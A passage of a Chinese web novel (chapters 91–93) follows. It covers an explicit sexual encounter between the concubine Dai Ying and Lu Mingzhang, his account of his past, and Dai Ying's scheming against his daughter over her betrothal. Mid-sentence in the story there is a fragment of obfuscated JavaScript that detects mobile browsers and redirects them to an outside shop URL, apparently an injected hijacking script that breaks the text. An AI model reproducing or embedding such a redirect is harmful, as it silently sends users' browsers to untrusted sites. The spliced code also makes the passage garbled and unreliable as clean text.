“就怕阿缨随意了,大人又看不过眼,出口训斥。”
陆铭章只道出四个字:“尽可随意。”
戴缨听后,笑着站起身,眼中灵动,在陆铭章的目光下,把鞋子一踢,屈腿倚到他的身侧,带了一点点挑衅的试探:“这样随意可行?”
陆铭章眼中带笑:“可。”
戴缨听了这话,放肆起来,像一个试探大人态度的孩子,身子倚着小几,头枕着臂膀,背对着陆铭章,全然一副懒散样。
“这样呢?”
“可。”
戴缨再转过身,背靠着小几,一双眼看着陆铭章,他也回看向她。
在他的目光下,她把胆儿又撑了撑,将一条腿屈起,另一条腿打直,拿脚碰了碰他的腿,见他不说,不要命地将脚搁到他的腿上,小心翼翼地问道:“这样呢?”
陆铭章不语,将一双眼落在她未着绵袜的足上,戴缨后知后觉起了悔怕,恰巧此时,房门敲响,她借着空档将脚缩回裙裾下,掩住。
当七月端着木托进来,虽未见到刚才那惊诧的一幕,可见到戴缨不规整的坐姿时,仍不免吃了一惊。
“姨娘,这牛乳羹得趁热吃。”七月将小盖盅放到小几上。
戴缨往七月身上扫了一眼,见她身上沾了雪沫子,问道:“雪下大了么?”
“是,只怕明儿一早起来,外面都白了。”
戴缨点了点头,七月退了下去。
陆铭章起身,走到窗边,将窗扇支开,往外看了一眼,再回身走到桌边,端了一盏热茶坐回到半榻上。
“有些晚了,快吃罢,吃了好歇息。”
戴缨点了点头,拿起汤匙,揭了盖盅,慢咽起来。
用罢后,放下汤匙,陆铭章将手里的茶盏递过去,她就着他的手,含了一口香茶,漱后掩嘴吐到盂盆。
再用巾帕拭过嘴,然后稍稍低下眼,慢慢腾挪,挨近他,双手环上他的脖,他便张开臂膀,将她拢到怀里,打横抱起,站起身往里间走去。
床帐掩下,二人入到帐中。
床头灯火未熄,映进纱帐,光线更加朦胧迷离。
戴缨平躺着,陆铭章屈腿坐在她的身侧,伸手解开她的寝衣,露出贴身的小衫,见她两眼星欠,脸上绯红蔓延到颈脖,胸脯也染成了胭脂色。
于是从衣摆舒手抚到她的侧腰,因为他的碰触,引得她身上一阵颤栗。
他低下眼,将她的情状看在眼里,手一点点往上攀,托住那一捧会呼吸的柔软,再悄悄用力。
戴缨将眼睛闭上,又以手遮住半张脸。
因着她的动作,膨隆的柔软更加归拢,也更加让陆铭章的指尖流连。
他伏到她的上方,将她的一只手拉起,放到自己胸口:“可要将灯熄了?”
他见她实在羞得很,身上红粉粉的,其实他想看,可她身子僵着,不能舒展,便问她的意思。
戴缨抵在他胸口的手推了推,轻声道:“熄了罢。”
陆铭章侧过身,撩起床帐,将床头案几上的蜡烛吹灭,然后回转身,拿腿将她的双腿拨开,一只手抚上她的腿侧,再将其屈起,握住那纤细的脚踝。
“以后晚间就歇在这屋里,不必回那屋。”陆铭章的声音于黑暗中响起。
戴缨将手从脸上拿下,慢慢坐起身,再挨坐到陆铭章怀中,双手搭上他的肩,身子倾向他,看着他那张被幽暗模糊的脸。
“日后惹大人气急了,可不能撵我走。”戴缨说着,轻笑道:“我也是有脾气的,哪一日,大人真惹了我,是哄不好的。”
陆铭章一手撑于床榻,一手环住她的腰身,跟着笑出声。
戴缨见他不答,追问道:“别只顾笑,适才的话大人可依允?”
“好,不撵你,不过……”
戴缨心头一凝:“不过什么?”
“不过,若你真气了,你得告诉我,怎样才能将你哄好。”陆铭章说着,手在她的后背抚了抚。
戴缨想了想,煞有介事地说道:“大人若肯给我赔个不是,再拜三拜,便不恼了。”
陆铭章笑声不止:“赔不是可以,这个拜……真叫我拜你?”
戴缨眼中闪过一抹狡黠,只听她缓缓道来:“这倒也是,我唤大人一声叔父,怎可拜我这个……”
话未说完,陆铭章一指弹向她的脑门,戴缨“嗳”一声,双手捂着额:“好好的说话呢,怎么动起手来?”
陆铭章肃下腔子:“这话不兴乱说,你适才那是好好说话?”
戴缨侧过脸,没再言语,只是拿手揉自己的额头。
待他拉她时,她便有意侧过身,尽避着,不让他碰。
陆铭章心道可能刚才那一下力道重了,可他哪里会哄人,于是清了清嗓子,伸出手,探到她的前额处,拿指轻轻揉起。
戴缨心里憋了一口气,说话说得好好的,被弹了一下脑瓜,这算什么,反正他
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说了,只他二人在时,她可放肆些。
陆铭章先前分明说的是,只他二人时,她可随意些,到了她这里,自动变成了放肆。
一点点不可言说的戏谑自她心里滋生,抱着这样的想法,她主动缠上他,寻上他的衣带,扯开,陆铭章没想到她会主动,也就由着她。
他的皮肤温热且干爽,她的手探入他的衣底,在他的身上来回游走,贪恋起那份触感。
此时,两人的眼睛已适应了黑暗,可以看清彼此,平时不苟言笑的一张脸,变得有些红,不知是饮酒的后劲,还是别的什么。
她和他都准备好了,她挺起腰背,撩开裙摆,岔开腿,一手抚着他的肩,慢坐下去,她将腰身往下沉,没有一点征兆,陆铭章闷哼一声,一手锢住她的腰肢。
衣衫松散开,缱绻于腰际,半遮半掩中缓动起来。
陆铭章眉头微蹙,有些猝不及防,身体微微后仰,双手撑在身后。
同他平日的威肃截然不同,床笫之间显出拙稚的迟疑,这个反差,叫戴缨的血越发热起来,跌宕的幅度越来越大。
她将他推倒,像一个吸**血的狐妖,而他就是那赶路的书生。
对于他弹她的脑瓜,她是一定要找补回来的,心底的戏谑在浓情之下,成了很好的催化,柔软的腰肢压下,贴向他,俯到他耳边,轻颤颤地呼出一声。
像是一声轻叹的“呼”,又似是“叔……”
这软软的一声,叫陆铭章身躯骤然紧绷,喉结滚动间泄出一丝失控的喘息,他的胳膊用力地将她压向自己,力道大得让戴缨心惊,好像两人下一刻就会融在一处。
缓了好一会儿,陆铭章才像是终于找回了自己的声音,又沉又哑,带着一丝拿她没办法的叹息:“你这丫头怎么不听人言。”
此时,两人身上汗水淋漓,戴缨伏于上方,将头偎在他的胸前,听着他胸脯下有力的心跳。
“大人喜不喜欢?”
她在用自己的方式讨好他,他不是谢容,不受他人支配,所以,只有得到他实打实的宠爱,她才能活得像个人样。
他对她的这份喜爱能维持多久?她不知道,如果有幸孕育子嗣,也就有了依傍,又或是……天降不可预测的契机,让她彻底跳出眼下的况景。
然而,不论哪种,绝不是眼下。
陆铭章捏住她小巧的下巴,说道:“再不许这样叫了。”
戴缨没再说话,心里却更加笃定,那两个字就是万灵药。
“大人带回的避子丸呢?”戴缨慢慢坐起身。
陆铭章披了外衫,下了床榻,没一会儿走回,递上一个方盒。
“食用一粒,并不伤身。”
戴缨接过,开了盒盖,里面大概有十几粒药丸,如黄豆一般大小,当下取了一粒,放入口中,仰脖咽了下去。
而在她吞药时,陆铭章将目光移开,有一瞬的放空,接着,丫鬟送水进来,净过身后,两重新躺入榻间。
戴缨躺上后,侧过身,背对着陆铭章,打算闭眼睡去,过了一会儿,发现不对,扭过头,往后看去……
第91章 帐下戏语
戴缨听到身后安静得太过异常,扭头去看,就见陆铭章靠坐在床头,素白中衣仅由一根衣带松垮系着,襟口微敞,一段劲实利落的胸膛半掩半露。
他无声地靠坐在那里,两眼空空地看着某一处,似是在思索着什么。
戴缨从床头勾过一件外衫披上,手脚并用地下了榻,往窗边走去,支开窗往外看了一眼,院中已是落了白,屋檐下的灯笼漫散出昏浑的光,光下,雪花仍飘飘洒洒往下落。
窗台积了薄薄一层雪晶,她伸出三指,拈了一撮,放到嘴里,雪坨触到温热的舌,化成冰凉凉的水,再润到喉间,滑入肚腹,肚腹也成了一片凉。
她起了玩兴,回身走到桌边,拿了一个小杯,再次走回窗前,将雪兜进杯里。
陆铭章见她去了外间,半晌不回,又没个声响,不知在做什么,于是唤她:“外面冷,仔细闪风。”
话音落时,戴缨执着一个小盏走了进来,爬到榻上,将茶杯递上:“妾身给大人亲沏的茶,尝尝看。”
陆铭章接过,指腹摩挲了一下杯壁凝出的水珠,笑着将杯中的雪水饮了。
“大人觉着如何?”戴缨眼里兴味十足。
“有劳小娘子不辞纤指寒,为某融此盏中素雪。”陆铭章一面将盏放到床头的矮几上,一面将她冰凉的指尖放到自己胸口渥热。
戴缨咯咯笑出声。
已是深更时分,两人却都无法入眠。
她慢慢偎到他的怀里,昨日陆溪儿同自己说的那些话再一次浮现,她很想弄清楚,陆铭章以那样一个年纪,离了陆家后,怎样生存下来。
在那之后,他又是怎么回到的陆家,成了陆家的一家之主。
“大人……”戴缨轻唤一声。
陆铭章将被子往上拉起,盖住她的身子:“什么?”
“离开陆家后,你都经历了什么?”戴缨思索一番,仍是问了出来,没由来的,她想了解更多。
安静了一瞬,接下来陆铭章没有任何质问,譬如,谁告诉你的?你从哪里听到的?又或是严肃地斥责此乃无稽之谈。
没有,在听完她的问题后,中间只安静了片刻,便认真地给出了回答。
“离开了京都,去了别的地方。”
戴缨慨然一声:“那时不过十一二岁,想必一路上很艰难。”
陆铭章拍了拍她的后背,说道:“没有你想得那样,我那会儿已考了学位,去哪里也方便,想要寻一份生计并不难。”
她倒把这个忘了,以他的学位,想在府衙谋求一份体面的文职不是难事。
然而她不知道的是,那会儿这父子俩正对上,作为父亲的陆淮让人把陆铭章从陆家除名的消息散了出去。
他在外的求生之路并不顺畅。
哪怕到了地方,稍有体面的营生,他谋不上,他们那个圈子皆知陆家阿郎从陆府除名,那些人不愿得罪陆家,不想沾染麻烦。
“走了很多地方,只当游历了。”陆铭章低下眼,看向戴缨,笑道,“说出来你可能不信,那个时候我还去过平谷。”
戴缨抬起头,回望过去:“大人还去过平谷?”
“是,去过,好早之前了。”
“那会儿你身无分文,靠什么过活?”
陆铭章将目光放远,说道:“给人代笔,又或是在各家铺子当账房先生。”
戴缨不信,给人代笔这个说得过去,当账房先生需得拨弄算珠,她不认为陆铭章这精贵的文人手,可拨弄沾满铜臭的算珠。
她面上的表情,叫陆铭章一眼看了出来。
“把你那算盘拿来。”
戴缨真就下榻取了算盘并一本账册,再将床头的烛灯点燃
陆铭章接过算盘,用手抚过算珠,万珠归零。
戴缨翻开账本,先试着报了一串简单的数,就在她话音落下时,算珠相撞的清响也结束了。
一串数字定格在那里。
有了这一节奏,她心里有了底,直接开始报大账,一道又一道地往上加数,越来越复杂,在她平稳的腔音中,伴随着一连串的急速的算珠响。
她嘴中不停,他指尖翻飞,声止之时,算珠的声音也归于平静。
“三万七千六百五十五贯文。”陆铭章说道。
戴缨对上账目,分文不差。
直到这一刻,她看他的眼神不一样了,问道:“还有什么是你不会的?”
“都会一点,却是样样不精。”陆铭章将算盘放回。
这话有些谦虚的炫耀,在戴缨耳中就变成了,不仅都会,且样样精通。
之后,陆铭章追说了一句:“我不会武。”声调平平淡淡,听不出喜怒。
戴缨执起他的手,撑开,看着那掌心的纹路,好奇道:“就一点没剩?都散干净了?怎么不偷偷留一些功力呢?”
陆铭章略带压沉感的回忆,叫戴缨这话给驱散了,朗笑出声。
“大人后来又是怎么回的陆家?”戴缨又问。
“那会儿我正预考选,老头从这个信息探到了我的行踪,派长安找上我。”
陆铭章的声音很轻,平平地说着往事:“我母亲病了,病得很重,让我回去看看她。”
“所以,你随长安回了?”
陆铭章“嗯”了一声。
也是那个时候,陆铭章带回的陆婉儿。
“之后呢?”戴缨又问。
“从我离家再到归家,已是去了几年,当时我母亲确实病得很重,一直晕睡,身体虚弱,下不来床,我便陪着她,她见我回了,病情才慢慢好转。”
以此为契机陆铭章归家,他自己又是个极为出色有主见之人,多年以后,陆家老大人归西,他便顺理成章地接管了陆家,再将陆家重振,接下来应是这个路数,戴缨如是想着。
话锋一转,又问:“老大人是如何去世的?”
陆铭章侧过头,古怪地看了戴缨一眼。
戴缨摸了摸脸,以为自己的脸上有什么:“怎么了?”
陆铭章轻笑出声:“谁告诉你那老头儿**,活得好着呢。”
戴缨直起身,两眼大瞪:“还活着?”
“是,活着,没死。”
她在陆府住了不是一两天,没有半点这位陆家老大人的踪迹,也从未听人提及过,这……
“陆老大人呢?”
陆铭章嘴角勾起笑,这还是头一次,她在他脸上看见这种表情,似是不屑,又似是带着厌恶的嘲讽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635622|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>“走了。”陆铭章语气极淡,“因着我母亲的身体,他让我留下,而我留下的唯一条件就是让他离开陆家。”
半晌,戴缨才道了一句:“老大人是被你赶出陆家的?”
陆铭章点了点头,转头问她:“是不是很不孝?”
戴缨摇了摇头,心里想的却是,她也想把戴万昌赶出戴家,不过她身为女子,就算赶走了戴万昌,还有戴万一,戴万二,戴万三,除非这些人死绝……
“不知他在哪里,也许真像你说的,已经**。”陆铭章有些不愿再往下说,“睡罢,好晚了。”
当年,陆淮离开陆家,把家主之位交给了大儿子,拍拍屁股走了。
至于曹氏,她自己给自己封了个平妻,族谱上仍是妾位,陆铭章当家后没驱离她,也是为着两个弟弟看。
陆铭章母子不跟曹氏计较,下人们也就这么随口称呼曹老夫人了。
就这么的,两个女子相安无事地留了下来,引起争端的陆老大人离了府。
戴缨在睡过去之前,问了最后一个问题。
“大人,日后我还能外出料理店铺么?”
“你想还是不想?”
戴缨没有丝毫犹豫,给出了回答:“想。”
“既然想,那就去做。”
戴缨没再说什么,挤到他怀中汲取暖意。
次日,雪停了,外面银白一片。
戴缨刚从上房问安出来,就见一人立在堆雪的小径边。
一身银灰鼠斗篷将其裹得严实,**色出得极好,短茸茸的**锋在光下泛着柔和的银辉,茸茸地拥着那人一张莹白的脸,将她衬得金贵无比。
正正好,她就算不来找她,她也该会一会她了。
戴缨走到陆婉儿面前,福了福身:“大姑娘这是等我?”
陆婉儿抬起下巴,眼睛有些红肿,像是哭过一般,说出来的话却是:“你下作的连一点脸也不要了。”
戴缨丝毫不见恼,双手揣在袖笼,问道:“大姑娘这是什么话。”
“你一早就打我父亲的主意,是也不是?!”陆婉儿眼眶通红地质问。
戴缨不答反问:“大姑娘这话怎么不去问家主,反来问我,你从我嘴里能听到什么,就算我说是,你待如何?”
戴缨略带挑衅的话语,彻底激怒了陆婉儿,在她心里,父亲是个严肃温雅之人,那么的遥不可及,怎能让这样一个满身铜臭的商女接近。
陆婉儿眼中含恨,咬牙道:“你别得意,你别得意!不过一个妾而已,就是个奴才,我现下叫牙人来,将你打发出去,你又能怎样?”
戴缨往陆婉儿跟前走近一步,声音稍稍压低:“没办法了,对么?”
“什……什么?”陆婉儿一怔。
“你必是找过你父亲,结果发现什么也改变不了,这才又寻我的麻烦。”
确实被戴缨说中了,她曾去前院找过父亲,结果只得到父亲的训斥不耐。
戴缨嘴角挂起一丝笑意,“有空寻我的麻烦,不如担心担心你自己。”
陆婉儿心里一提:“你什么意思?”
戴缨看了一眼周围,然后将身体微微前倾,说道:“大姑娘知道什么叫枕边风?”
第92章 枕边风
戴缨弯下的双眼,还有勾起的唇角,在陆婉儿看来,就是一副小人得志的嘴脸。
“我就知道,你就是个祸根,今日若不把话道明白,看我不活撕了你。”
陆婉儿从来不将戴缨放在眼里,哪怕从前她看戴缨不顺眼,也没将她太当回事,顶多给她轻蔑的一瞥,又或是言语敲打一番。
然而这会儿不同了,她仍是鄙夷她,厌恶她,甚至认为自己同她说话都是施舍,但是,她没法再忽略戴缨的话。
一阵寒风来,裹挟着雪粒落到陆婉儿脸上,让她不由得打了一个寒战。
戴缨面上始终保持着淡淡的笑意:“我是什么意思……你知道的,不然你不会这样紧张。”
接着又道,“陆婉儿,我走到这一步,有你一份功劳在,这个我会记着呢。”
“我不知道你在说什么。”
“我同表兄原是青梅竹马的一对,若不是因为你横插一脚,我和他怎会解除婚契,你心里该当清楚,何必我把话道尽。”
陆婉儿听了,没有半分愧疚,反而笑出了声:“我当你会说出什么来,初时那般爽利地解除婚约,原来是做样子,心里终是不甘心罢。”
接着,陆婉儿也往前进一步,走到戴缨身侧,腔音中满是快意的奚落:“可你再不甘心又能如何?他终究会明媒正娶的人,是我。”
陆婉儿的目光充满鄙夷,仿佛要在戴缨的肩膀戳个洞,把她挂在秤上,好让她知道自己有几斤几两。
“因为你没有自知,谢郎选了我,你不该恨我,反该问自己,为什么你没有一个好家世,为什么你没有好命数,你最该恨的人是你这不争气的出身,你!该恨你自己!”
这就是陆婉儿,没有她做错的事,就是有,也可以理直气壮地转嫁给旁人。
一般人招架不住她咄咄逼人的姿态,戴缨没受半分影响,因为这一场对话,从始至终都是她有意为之,正是她想要的。
故意语带怨愤地责怪陆婉儿败了自己的好姻缘,再故作威胁姿态,挑起她的情绪。
接下来就要进入正题了。
“不错,我身份不如你,可那又怎样,你的这段姻缘最后能不能成……都未有定数。”戴缨笑得意味深长。
陆婉儿扬起的嘴角渐渐回落,眼中的快意骤然凝止,看似满不在乎地轻嗤一声:“怎么,你还想从中作梗?也得看你有无那个能耐。”
“我有无那个能耐,不知道,不过呢……有一事只怕你还不知晓。”
陆婉儿狐疑道:“何事?”
“我表兄出京外办了,大姑娘猜猜看,近年关了,他却突然离京,你觉着……这里面有无你父亲的意思?”
戴缨往后退了两步,拉长声调,叹道,“唉!也对,陆家这种高门大户,哪里看得上谢家那种小官小吏,虽说亲事已然定下,最后呐……当真是说不准……”
戴缨揣在貂袖中的手往上端了端,下巴微微扬起,满是挑衅地道了一句:“婉姐儿,风水轮流转,你大可以猜猜看,这门亲事,我会不会让它做成。”
“你……”陆婉儿气得口不能言,缓了好一会儿才平息下来,“你算什么东西,真当我父亲会听信你这等谗言?以为进了我父亲的屋就是主子?呸,不过就是一暖床婢!也配在我面前挑唆。”
“待晚间我父亲回了,我定要当面禀明,叫他亲眼看看——你是何等嘴脸!”
戴缨“嗯”了一声,回说道:“好,那就等大人回府……”接着声调陡然扬起,清亮逼人,“妾!自当恭候责罚!”
陆婉儿不确定了,在这一刹那,所有的底气如潮水般退去,她恍然惊觉,她与戴缨的较量才开始,端看父亲心中的那杆秤,会往哪方倾斜。
陆婉儿走了,戴缨回过身,看向她远去的身影。
就她观得,陆铭章对谢家是不满的,只是不满归不满,有谢容这个青年才俊立在那,对于陆婉儿的亲事,咬咬牙,他也还能忍。
然而,这中间出了她这么个意外,戴万如的德行暴露无遗,陆铭章怎么放心让陆婉儿嫁给那样的门户。
若她没料错,陆婉儿这门亲十有八九是要黄的,那怎么行,陆婉儿不嫁去谢家,可就太无趣了。
是以,她不得不在背后推上一把,好好激一激陆婉儿那股执拗的逆劲。
只要陆婉儿铁了心要嫁,任凭陆铭章与老夫人如何阻拦,女大不中留,终究是留不住。
不仅如此,她得借陆铭章整治谢家的这个契机,将戴万如加诸她身上的,连本带利,一一讨还。
因着积雪的缘故,这日陆铭章回得较晚,回府后衣也未更,直接去了书房,谁知,他前一脚刚回,后一脚陆婉儿就找了来。
“安叔,我父亲可在?”
长安点头道:“小娘子先去侧面的暖室候着,小人往里通报……”
然而,这次长安话未说完,陆婉儿抢步上阶,把房门推开,进到房里。
“父亲!”
陆婉儿腾着火气,在看到陆铭章伏案的身形时,突然就住了嘴,气焰自觉得敛了起来。
“何事?”陆铭章眼也不抬地问道。
陆婉儿走到案前,见父亲只顾埋首整理文书,全不看她,急得又唤了一声:“女儿有事禀明。”
陆铭章拂袖,将笔搁下,抬起头,问道:“说来。”
“戴缨就是个祸害!”
陆铭章眉头微微一蹙:“先前我的话你忘了?”
陆婉儿一怔,在她得知父亲将纳戴缨为妾时,她想也不想地冲进书房,失了智一般地质问。
这消息对她来说,无异于晴天霹雳。
然而任她情绪如何不平,父亲只淡淡道了一句:“几时我房里的事要你过问?”
陆婉儿拉回神思,恭声道:“女儿不是这个意思。”
“全没一点规矩,还不退去。”陆铭章沉静下声。
“可否容女儿半刻。”陆婉儿誓要拆穿戴缨的虚假嘴脸。
陆铭章缄默不语,陆婉儿便把今日戴缨的话说了。
“她还说就是要挑唆咱们两家的关系,让谢郎和我的亲事做不成。”
陆婉儿本以为将这些话道出,再怎么着父亲也要问询几句,谁知他听后,不发一言,静了几息再次开口。
“行了,我知道了,你下去。”
若是平常,只要陆铭章一句话,陆婉儿没有不听的,这一刻,她知道自己不能就这么算了,于是转身坐进旁边的交椅中,开始言语挑唆。
“您是不知道,她还说呢,她一心只在她表兄身上,说是我坏了她的好姻缘,要报复我,拆散我的姻缘,她是走投无路了才给您为妾。”
陆铭章听后,平平地说了一句:“她没说错。”
陆婉儿一时回不过神来,接着就听父亲将她刚才的话肯定地复述:“她确实是走投无路了才找的我,这话没有任何问题。”
“可……可是,父亲不恼吗?”陆婉儿不甘心。
“不过是道出实情,恼什么?”陆铭章将身子往椅背靠去,卸下一天的繁重,姿态松散下来,“你叫她什么?”
这话问得突兀,同刚才的话完全不衔接,陆婉儿只能讷讷问道:“什么?”
“我问你怎么唤她。”
戴缨?小门户?商女?陆婉儿接不上话。
陆铭章也不指望她回答,又问:“适才我许你坐下了?”
陆婉儿心里一咯噔,赶紧从凳子上起身,双脚并立,规规矩矩站好。
“还有无别的事?”陆铭章再问。
就是有,陆婉儿也不敢再多说什么,于是回道:“再没了。”
陆铭章点了点头,重新执笔,低下头理事,随之道出两字:“去罢。”
陆婉儿哪还敢说什么,不过也够了,就她刚才说的那些话,戴缨别想落着好。
于是起身端端正正行过退礼,出了书房。
……
厨房来人,寻到七月。
“现在可要摆饭?”
“我去问问,等我的话。”
厨房人应下。
七月进了主屋,见戴缨坐在窗边绣着什么,走上前笑问道:“姨娘这是绣什么呢?”
戴缨将手里的灰鼠绒拿起,摊开到七月眼下:“大人每日天不亮往宫中上值,昨儿又下了雪,便想着给他绣一对护膝,倒是容易,下午才拿的针线,这会儿已有了些形状。”
“姨娘好针线,针线整齐不说,还密实。”七月拿起翻看了几眼,赞道,“想不到姨娘这双巧手不仅能拨算,针黹也是极好的。”
戴缨笑道:“我也只能缝制些简单的,比不了你们心细。”接着又问,“七月姐姐可是有事?”
“婢子适才听前面人说,爷已经回了,进来问问姨娘,是这会儿摆饭还是缓一缓?”
戴缨支开窗,往外看了一眼,天色微暝,于是趿鞋下榻。
“先缓缓,容我去前面问过。”
七月应下,退了出去。
谁知戴缨刚带着丫头走出一方居,就见陆铭章从远处走来,当下迎了上去,走到他跟前道了万福。
“正要去前面问大人,可回院中用饭。”
陆铭章在她面上扫了一眼,没说什么,两人一前一后回了主屋,丫鬟们进屋替二人宽衣,接着厨房开始摆饭。
饭菜上齐,各自的丫鬟侍立于身后,待要布菜时,陆铭章开口道:“都下去罢。”
七月带人退下,戴缨见了,知道陆铭章有话要说,给归雁睇了个眼色。
归雁随后无声地退出,并带上房门。
戴缨起身,将温过的酒给陆铭章倒了一盏,又拈起公筷,从桌上拈了菜放入碟中,呈到陆铭章面前。
“大人尝尝。”
陆铭章拿起酒盏,仰脖饮下,开口道:“你今日同婉儿遇上了?”
戴缨点了点头,自顾自地拈筷夹菜:“嗯,遇上了。”
“她说的都是真的?”
戴缨仍是漫不经心地“嗯”了一声:“是真的。”
一面回应陆铭章的话,一面将菜送往嘴里,慢慢咀嚼起来,兴是菜很合口味,竟吃得眯起了眼。
陆铭章在她脸上端详片刻,又问:“她说你对谢容旧情难忘……也是真的?”
第93章 跟了我,你有没有不甘?
明亮的光烛下,桌上罗列各类美味菜馔,就那么好看地摆着,无人动筷。
在陆铭章问出那句,婉儿说你对谢容旧情难忘也是真的时,戴缨拈筷的手顿住,将筷箸轻轻搁下,微微抬起下巴,回看向陆铭章,看着他的双眼,道了一个“是”。
陆铭章眉心蹙起,一抬手,钳住她的下颌,稍稍用力,将她往自己跟前拉近:“你……”
话刚开腔,却没继续说下去,丢开手,在她脸上看了一瞬,一声不言语地拈起筷箸,从餐盘夹菜。
碗碟中戴缨给他布的菜,却是动也不动。
“大人这是恼了?”戴缨将凳子朝陆铭章掇近,挨坐着他,然后歪头将他看着。
陆铭章给自己倒了一盏酒,就要仰头喝下,戴缨却抬手轻轻按住他的胳膊,将他的酒盏取到自己手中。
陆铭章冷笑一声:“这是做什么?还不让人喝酒了?”
戴缨将酒盏搁到桌面,再起身,倚坐到陆铭章的腿上,抿嘴笑道:“大人这会儿吃了醋,酸得很,还喝什么酒。”
陆铭章沉下声:“休得胡缠,下去坐好。”
戴缨非但没下去,还把两条胳膊环上他的脖:“先时大人怎么说来着?只你我二人时,妾身可随意些,可是大人说的?”
陆铭章默着脸,不语。
戴缨见了,佯装道:“既然大人不喜,妾身便规矩些,总不能惹大人生厌。”
说着就要起身,却又被控住,瞥眼去看,就见陆铭章一手掌着她的侧腰,带她回坐到腿上。
戴缨想他刚才望向自己,明明质问的话就要脱口而出,却又生生忍了下来。
她看懂了他眼底翻涌的情绪,却有些惊异于他毫不迟疑地将那股不平和隐现的恼意给压下。
于是慢慢起身,将那盏酒重新奉到他面前,再规矩地坐到他的身侧,不再玩笑地说道:“那日青山寺之行,大人可还记得?”
陆铭章点头道:“自然记得。”
“那大人该知道,妾身为了解除这门亲事,费了多大的心思。”戴缨又道,“当时大人还不应呢,说需有族亲到场,我一女儿家不能擅自做主。”
“还是阿缨动之以情,晓之以理,在姑母一家的‘通情达理’之下,才得以解了婚约。”
戴缨说完,又问:“大人还气么?”
陆铭章没有回答,先是低下眼,再抬眼望进她的眼中,问道:“我问你一句,你诚诚实实地告诉我。”
戴缨听他这么郑重其事的语调,摆正了态度:“大人请讲。”
“跟了我……你有没有不甘?心里有无积怨?”
戴缨呆了呆,嘴角下意识地荡开一抹笑,浮浅的话就要道出,陆铭章却道:“不要敷衍,把真心话道来。”
“大人要听真话?”
“是。”
戴缨垂颈,看向他覆在自己手上的手,修长,带着冷感,突然就想到昨夜这只手灵活地拨弄算珠,真好看。
“大人在最关键的时候伸手救了我,阿缨不敢有怨,也没有不甘,只是……”
“只是什么?”
“还是不说了。”戴缨转过身,就要伸手拿酒壶给自己斟酒。
陆铭章将她的手拂开,执过酒壶,亲身给她倒了一盏,戏说道:“我亲自倒酒,小娘子还不说?”
戴缨也不推辞,笑着端起酒杯,一口喝了,开口道:“阿缨原打算解除同谢家婚约,就回平谷,再找个门户相当的人家,平平淡淡过日子,没想过给人做妾。”
接着,屋里静了下来,陆铭章转开话头,说道:“婉儿比你小几岁,你……多担待些,她……”停了一会儿,又道,“她一女儿家,日后总要嫁出去的,在府里待不了两年。”
戴缨不知心里什么滋味,陆婉儿比她小几岁,这话没错,确实没两年就要嫁人,而陆铭章身为陆婉儿之父,爱她,护她,为她言语,这番言语更能理解。
可她心里压得慌,
然而,也就是一瞬,她从这份莫名的情绪中挣扎出来,客气地笑道:“大人哪里的话,大姑娘是主子,阿缨只有尊重的份,万不敢有半分怨念。”
陆铭章在她面上看了两眼,想从中看出点什么,两人没再说话,各自用饭,饭毕,又让人备水沐洗。
丫鬟们清了桌面,重新燃香,再将床帐掩好,熄了烛,然后掩上房门,退了出去。
帐中昏昏,戴缨因饭间饮了酒,有了些微醉意,一躺下便侧过身,面朝里地阖上双眼。
思绪在朦胧间游离时,身后之人贴了过来,一手环上她的腰腹,接着那手从衣摆探入,戴缨不知从哪里来的烦躁,扭了扭身,往里去了,从那只手里挣出。
她感觉到陆铭章静静地怔了一下,接着是侧身的动静,很快归于平静。
戴缨没去理会,很快闭眼睡去。
次日一大早,天还未亮,身边的微动让她从温热的梦中醒来。
眼睛半睁半闭间,陆铭章的声音在她耳畔响起:“衣袖教娘子枕住了,还请略抬贵体,与我行个方便。”
戴缨偏不抬,窝到他怀里,嘟哝了一句:“大人刚才唤我什么?”
陆铭章轻笑出声,温热的气息拂过戴缨的耳:“既是听到了,还问。”
说罢,调整角度,将她的臂膀抬起,抽出自己的衣袖,下了床榻。
丫鬟们进屋,伺候陆铭章更衣梳洗,去宫里上值。
天亮后,戴缨起身,先去了上房。
陆婉儿瞥向老夫人身侧的戴缨,那张莹白的脸上薄腮微红,眼神温静,面颊如同被光拂过,就像一朵饮足养分的花儿,开得正好。
当戴缨笑着回看过来,她提了一晚的心又是狠狠一坠。
戴缨这样子,哪像受过责备,分明是……分明是……陆婉儿脸上晕红一片,不知是气红的,还是羞红的。
“大姐姐,你这是怎么了?”陆溪儿从旁问道,“脸怎的这样红,莫不是染了风寒?”
陆婉儿回瞪向陆溪儿,向老夫人找了个由头,退出了上房。
回去的路上,因气愤不平,越走越快,越走越快,裙裙翻飞中,脚下一跐,若不是有丫头眼疾手快,差点仰倒。
陆婉儿心跳到了嗓子眼,低头一看,地上有一块未铲尽的雪,被压实了,凝成了冰。
“今儿是谁理这路?”陆婉儿冷声道。
陆婉儿的丫头喜鹊一听,就知道有人要倒霉了。
“婢子这就去问了,把人押到娘子面前。”
陆婉儿掩在袖笼下的手,狠狠地掐着,她不能这么坐以待毙,让戴缨的报复得逞。
戴缨那日的话再次响在她的脑海:
风水轮流转,你大可以猜猜看,这门亲事,我会不会让它做成……
陆婉儿全没发现她已陷入戴缨用言语编织的彀中,这彀的口子,正在一点点收紧,还是由她自己亲自系上。
……
谢容本该前几日就回的,因下过一场雪,路面太过泥泞,车马无法前行,待出了太阳,路面好走了些,才乘车回京。
好在外办的地方不远,同京都毗邻,他如今虽在集贤院编修,可上头另外安排的事仍需照办。
一进城门,便急着归家,心情莫名好了起来,在外这些时日,夜里无法安睡时,他会控制不住地思索。
从另一个角度来看,上次发生王家那事,不完全是坏事,有了这个波折,戴缨也能知道,她最好的选择还是他。
那日,他在母亲面前,狠狠一番威胁,为她平事,她心中对他必是感激的,这次归来,正好可以借此契机,同她修复僵持的关系。
谢容这么想着,一颗心都变得轻快了,揭开车帘,路边虽还有残雪未化,阳光倾洒下来,叫人看了很是舒暖。
到了谢家府门前,马车停当,谢容下了车,进到府里,照例先去上房问安。
当他步入上房的院子,发现下人们面色不对,静得太过异常,于是抬步进到屋里。
